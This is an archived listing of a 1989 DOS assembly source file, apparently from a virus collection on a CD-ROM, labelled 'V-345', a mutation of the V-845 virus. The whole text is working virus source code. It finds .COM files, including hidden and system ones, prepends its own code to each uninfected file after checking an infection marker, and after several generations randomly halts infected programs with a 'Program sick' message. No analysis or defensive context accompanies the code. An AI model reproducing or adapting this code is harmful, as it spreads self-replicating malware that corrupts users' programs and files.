home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AMST-345.ASM < prev    next >
Assembly Source File  |  1989-03-04  |  3KB  |  134 lines

  1.     page    ,132
  2.     name    V345
  3.     title    V-345 - a mutation of the V-845 virus
  4.     .radix    16
  5. code    segment
  6.     assume    cs:code,ds:code
  7.     org    100
  8.  
  9. timer    equ    6C
  10. olddta    equ    80
  11. virlen    =    offset endcode - offset start
  12. newid    =    offset ident - offset start
  13.  
  14. start:
  15.     jmp    short virus
  16.  
  17. ident    dw    'VI'
  18. counter db    0
  19. allcom    db    '*.COM',0
  20. progbeg dd    ?
  21. eof    dw    ?
  22. newdta    db    2C dup (?)
  23. fname    equ    offset newdta+1E
  24.  
  25. virus:
  26.     push    ax
  27.     mov    ax,cs        ;Move program code
  28.     add    ax,1000     ; 64K bytes forward
  29.     mov    es,ax
  30.     inc    [counter]
  31.     mov    si,offset start
  32.     xor    di,di
  33.     mov    cx,virlen
  34.     rep    movsb
  35.  
  36.     mov    dx,offset newdta    ;Set new Disk Transfer Address
  37.     mov    ah,1A        ;Set DTA
  38.     int    21
  39.     mov    dx,offset allcom    ;Search for '*.COM' files
  40.     mov    cx,110b     ;Normal, Hidden or System
  41.     mov    ah,4E        ;Find First file
  42.     int    21
  43.     jc    done        ;Quit if none found
  44.  
  45. mainlp:
  46.     mov    dx,fname
  47.     mov    ax,3D02     ;Open file in Read/Write mode
  48.     int    21
  49.     mov    bx,ax        ; Save handle
  50.     push    es
  51.     pop    ds
  52.     mov    dx,virlen
  53.     mov    cx,0FFFF    ;Read all bytes (64K max in .COM file)
  54.     mov    ah,3F        ;Read from handle
  55.     int    21        ;Bytes read in AX
  56.     add    ax,virlen
  57.     mov    cs:[eof],ax    ;Save pointer to the end of file
  58.     cmp    ds:[newid+virlen],'VI'  ;Infected?
  59.     je    close        ;Go find next file if so
  60.  
  61.     xor    cx,cx        ;Go to file beginning
  62.     mov    dx,cx
  63.     mov    ax,4200     ;LSEEK from the beginning of the file
  64.     int    21
  65.     jc    close        ;Leave this file if error occures
  66.  
  67.     xor    dx,dx        ;Write the whole code (virus+file)
  68.     mov    cx,cs:[eof]    ; back onto the file
  69.     mov    ah,40        ;Write to handle
  70.     int    21
  71.  
  72. close:
  73.     mov    ah,3E        ;Close the file
  74.     int    21
  75.  
  76.     push    cs
  77.     pop    ds        ;Restore DS
  78.     mov    ah,4F        ;Find next matching file
  79.     int    21
  80.     jc    done        ;Exit if all found
  81.     jmp    mainlp        ;Otherwise loop again
  82.  
  83. done:
  84.     mov    dx,olddta    ;Restore old Disk Transfer Address
  85.     mov    ah,1A        ;Set DTA
  86.     int    21
  87.  
  88.     cmp    [counter],5    ;If counter goes above 5,
  89.     jb    progok        ; the program becomes "sick"
  90.     mov    ax,40
  91.     mov    ds,ax        ;Get the system timer value
  92.     mov    ax,word ptr [timer]
  93.     push    cs
  94.     pop    ds        ;Restore DS
  95.     and    ax,1        ;At random (if timer value is odd)
  96.     jz    progok        ; display the funny message
  97.     mov    dx,offset message
  98.     mov    ah,9        ;Print string
  99.     int    21
  100.     int    20        ;Terminate program
  101.  
  102. message db    'Program sick error:Call doctor or '
  103.     db    'buy PIXEL for cure description',0A,0Dh,'$'
  104.  
  105. progok:
  106.     mov    si,offset transf    ;Move this part of code
  107.     mov    cx,offset endcode - offset transf    ;Code length
  108.     xor    di,di        ;Move to ES:0
  109.     rep    movsb        ;Do it
  110.  
  111.     pop    bx        ; BX = old AX
  112.     mov    word ptr cs:[progbeg],0
  113.     mov    word ptr cs:[progbeg+2],es    ;Point progbeg at program start
  114.     jmp    cs:[progbeg]    ;Jump at program start
  115.  
  116. transf:
  117.     push    ds
  118.     pop    es
  119.     mov    si,offset endcode
  120.     mov    di,offset start
  121.     mov    cx,0FFFF    ;Restore original program's code
  122.     sub    cx,si
  123.     rep    movsb
  124.     mov    word ptr cs:[start],offset start
  125.     mov    word ptr cs:[start+2],ds
  126.     mov    ax,bx
  127.     jmp    dword ptr cs:[start]    ;Jump to program start
  128. endcode label    byte
  129.  
  130.     int    20        ;Dummy program
  131.  
  132. code    ends
  133.     end    start
  134.